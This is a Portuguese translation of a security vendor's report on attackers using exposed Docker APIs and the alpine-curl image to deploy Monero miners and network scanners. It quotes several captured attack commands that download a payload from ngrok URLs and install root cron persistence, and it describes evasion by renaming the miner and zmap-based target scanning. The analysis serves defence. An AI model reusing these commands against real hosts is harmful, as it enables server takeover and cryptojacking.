Como a API Docker não proprietária e as imagens públicas da comunidade estão sendo usadas para distribuir mineradores de criptomoedas

Como a API Docker não proprietária e as imagens públicas da comunidade estão sendo usadas para distribuir mineradores de criptomoedas

Analisamos os dados coletados usando contêineres honeypot, que criamos para rastrear ameaças. E detectamos atividades significativas de mineradores de criptomoedas indesejados ou não autorizados, implantados como contêineres não autorizados, usando uma imagem publicada pela comunidade no Docker Hub. A imagem é usada como parte de um serviço que entrega mineradores de criptomoedas maliciosos.

Além disso, programas para trabalhar com redes são instalados para penetrar em contêineres e aplicativos vizinhos abertos.

Deixamos nossos honeypots como estão, ou seja, com configurações padrão, sem quaisquer medidas de segurança ou posterior instalação de software adicional. Observe que o Docker tem recomendações de configuração inicial para evitar erros e vulnerabilidades simples. Mas os honeypots utilizados são contêineres, projetados para detectar ataques direcionados à plataforma de conteinerização, e não às aplicações dentro dos contêineres.

A atividade maliciosa detectada também é notável porque não requer vulnerabilidades e também é independente da versão do Docker. Encontrar uma imagem de contêiner configurada incorretamente e, portanto, aberta é tudo o que os invasores precisam para infectar muitos servidores abertos.

A API Docker não fechada permite ao usuário realizar uma ampla gama de times, incluindo obter uma lista de contêineres em execução, obter logs de um contêiner específico, iniciar, parar (inclusive forçado) e até mesmo criar um novo contêiner a partir de uma imagem específica com configurações especificadas.

Como a API Docker não proprietária e as imagens públicas da comunidade estão sendo usadas para distribuir mineradores de criptomoedas
À esquerda está o método de entrega de malware. À direita está o ambiente do invasor, que permite a distribuição remota de imagens.

Como a API Docker não proprietária e as imagens públicas da comunidade estão sendo usadas para distribuir mineradores de criptomoedas
Distribuição por país de 3762 APIs Docker abertas. Com base na pesquisa Shodan datada de 12.02.2019/XNUMX/XNUMX

Opções de cadeia de ataque e carga útil

A atividade maliciosa foi detectada não apenas com a ajuda de honeypots. Dados do Shodan mostram que o número de APIs Docker expostas (veja o segundo gráfico) aumentou desde que investigamos um contêiner mal configurado usado como ponte para implantar o software de mineração de criptomoeda Monero. Em outubro do ano passado (2018, dados atuais você pode ficar assim Aproximadamente. tradutor) havia apenas 856 APIs abertas.

Um exame dos logs do honeypot mostrou que o uso de imagens de contêiner também estava associado ao uso de grok, uma ferramenta para estabelecer conexões seguras ou encaminhar tráfego de pontos acessíveis publicamente para endereços ou recursos específicos (por exemplo, localhost). Isso permite que invasores criem URLs dinamicamente ao entregar carga útil a um servidor aberto. Abaixo estão exemplos de código dos logs que mostram abuso do serviço ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Como você pode ver, os arquivos enviados são baixados de URLs que mudam constantemente. Esses URLs têm uma data de expiração curta, portanto, as cargas úteis não podem ser baixadas após a data de expiração.

Existem duas opções de carga útil. O primeiro é um minerador ELF compilado para Linux (definido como Coinminer.SH.MALXMR.ATNO) que se conecta ao pool de mineração. O segundo é um script (TrojanSpy.SH.ZNETMAP.A) projetado para obter certas ferramentas de rede usadas para verificar intervalos de rede e, em seguida, procurar novos alvos.

O script dropper define duas variáveis, que são então usadas para implantar o minerador de criptomoeda. A variável HOST contém a URL onde os arquivos maliciosos estão localizados, e a variável RIP é o nome do arquivo (na verdade, o hash) do minerador a ser implantado. A variável HOST muda sempre que a variável hash muda. O script também tenta verificar se nenhum outro minerador de criptomoedas está em execução no servidor atacado.

Como a API Docker não proprietária e as imagens públicas da comunidade estão sendo usadas para distribuir mineradores de criptomoedas
Exemplos de variáveis ​​HOST e RIP, bem como um trecho de código usado para verificar se nenhum outro minerador está em execução

Antes de iniciar o minerador, ele é renomeado para nginx. Outras versões deste script renomeiam o minerador para outros serviços legítimos que podem estar presentes em ambientes Linux. Geralmente, isso é suficiente para ignorar as verificações da lista de processos em execução.

O script de pesquisa também possui recursos. Funciona com o mesmo serviço de URL para implantar as ferramentas necessárias. Entre eles está o binário zmap, que é usado para escanear redes e obter uma lista de portas abertas. O script também carrega outro binário que é usado para interagir com os serviços encontrados e receber banners deles para determinar informações adicionais sobre o serviço encontrado (por exemplo, sua versão).

O script também pré-determina alguns intervalos de rede a serem verificados, mas isso depende da versão do script. Ele também define as portas de destino dos serviços – neste caso, Docker – antes de executar a verificação.

Assim que possíveis alvos são encontrados, os banners são automaticamente removidos deles. O script também filtra os alvos dependendo dos serviços, aplicações, componentes ou plataformas de interesse: Redis, Jenkins, Drupal, MODX, Mestre do Kubernetes, cliente Docker 1.16 e Apache CouchDB. Se o servidor verificado corresponder a algum deles, ele será salvo em um arquivo de texto, que os invasores poderão usar posteriormente para análise e hackeamento subsequentes. Esses arquivos de texto são carregados nos servidores dos invasores por meio de links dinâmicos. Ou seja, uma URL separada é usada para cada arquivo, o que dificulta o acesso subsequente.

O vetor de ataque é uma imagem Docker, como pode ser visto nos próximos dois trechos de código.

Como a API Docker não proprietária e as imagens públicas da comunidade estão sendo usadas para distribuir mineradores de criptomoedas
Na parte superior está a renomeação para um serviço legítimo e na parte inferior está como o zmap é usado para verificar redes

Como a API Docker não proprietária e as imagens públicas da comunidade estão sendo usadas para distribuir mineradores de criptomoedas
Na parte superior estão os intervalos de rede predefinidos, na parte inferior estão as portas específicas para busca de serviços, incluindo Docker

Como a API Docker não proprietária e as imagens públicas da comunidade estão sendo usadas para distribuir mineradores de criptomoedas
A captura de tela mostra que a imagem alpine-curl foi baixada mais de 10 milhões de vezes

Baseado no Alpine Linux e no curl, uma ferramenta CLI com uso eficiente de recursos para transferência de arquivos em vários protocolos, você pode criar Imagem do Docker. Como você pode ver na imagem anterior, esta imagem já foi baixada mais de 10 milhões de vezes. Um grande número de downloads pode significar usar esta imagem como ponto de entrada; esta imagem foi atualizada há mais de seis meses; os usuários não baixaram outras imagens deste repositório com tanta frequência. No Docker ponto de entrada - um conjunto de instruções usadas para configurar um contêiner para executá-lo. Se as configurações do ponto de entrada estiverem incorretas (por exemplo, o contêiner for deixado aberto na Internet), a imagem poderá ser usada como vetor de ataque. Os invasores podem usá-lo para entregar uma carga útil se encontrarem um contêiner mal configurado ou aberto sem suporte.

É importante observar que esta imagem (alpine-curl) em si não é maliciosa, mas como você pode ver acima, pode ser usada para executar funções maliciosas. Imagens semelhantes do Docker também podem ser usadas para realizar atividades maliciosas. Entramos em contato com o Docker e trabalhamos com eles nesse problema.

Recomendações

Configuração incorreta restos problema constante para muitas empresas, especialmente aquelas que implementam DevOps, focado no rápido desenvolvimento e entrega. Tudo é agravado pela necessidade de cumprimento de regras de auditoria e monitorização, pela necessidade de monitorizar a confidencialidade dos dados, bem como pelos enormes prejuízos decorrentes do seu incumprimento. Incorporar a automação de segurança no ciclo de vida de desenvolvimento não apenas ajuda a encontrar falhas de segurança que, de outra forma, poderiam passar despercebidas, mas também ajuda a reduzir a carga de trabalho desnecessária, como a execução de compilações de software adicionais para cada vulnerabilidade descoberta ou configuração incorreta após a implantação de um aplicativo.

O incidente discutido neste artigo destaca a necessidade de levar em conta a segurança desde o início, incluindo as seguintes recomendações:

  • Para administradores de sistema e desenvolvedores: sempre verifique as configurações da API para garantir que tudo esteja configurado para aceitar apenas solicitações de um servidor específico ou rede interna.
  • Siga o princípio de direitos mínimos: garanta que as imagens dos contêineres sejam assinadas e verificadas, limite o acesso a componentes críticos (serviço de lançamento de contêineres) e adicione criptografia às conexões de rede.
  • Segue recomendações e habilitar mecanismos de segurança, por ex. do Docker e embutido recursos de segurança.
  • Use a verificação automatizada de tempos de execução e imagens para obter informações adicionais sobre os processos em execução no contêiner (por exemplo, para detectar falsificação ou procurar vulnerabilidades). O controle de aplicativos e o monitoramento de integridade ajudam a rastrear alterações anormais em servidores, arquivos e áreas do sistema.

A Trendmicro ajuda as equipes de DevOps a construir com segurança, implementar rapidamente e lançar em qualquer lugar. Tendência Micro Segurança de nuvem híbrida Fornece segurança poderosa, simplificada e automatizada em todo o pipeline de DevOps de uma organização e oferece múltiplas defesas contra ameaças XGen para proteger cargas de trabalho físicas, virtuais e em nuvem em tempo de execução. Ele também adiciona segurança ao contêiner com Segurança Profunda и Verificação inteligente de segurança profunda, que verifica imagens de contêiner do Docker em busca de malware e vulnerabilidades em qualquer ponto do pipeline de desenvolvimento para evitar ameaças antes que elas sejam implantadas.

Sinais de compromisso

Hashes relacionados:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

На Curso de vídeo Docker Palestrantes praticantes mostram quais configurações precisam ser feitas primeiro para minimizar a probabilidade ou evitar completamente a ocorrência da situação descrita acima. E de 19 a 21 de agosto, em um intensivo online Ferramentas e truques de DevOps Você pode discutir esses e outros problemas de segurança semelhantes com colegas e professores em uma mesa redonda, onde todos podem falar e ouvir as dores e sucessos de colegas experientes.

Fonte: habr.com

Adicionar um comentário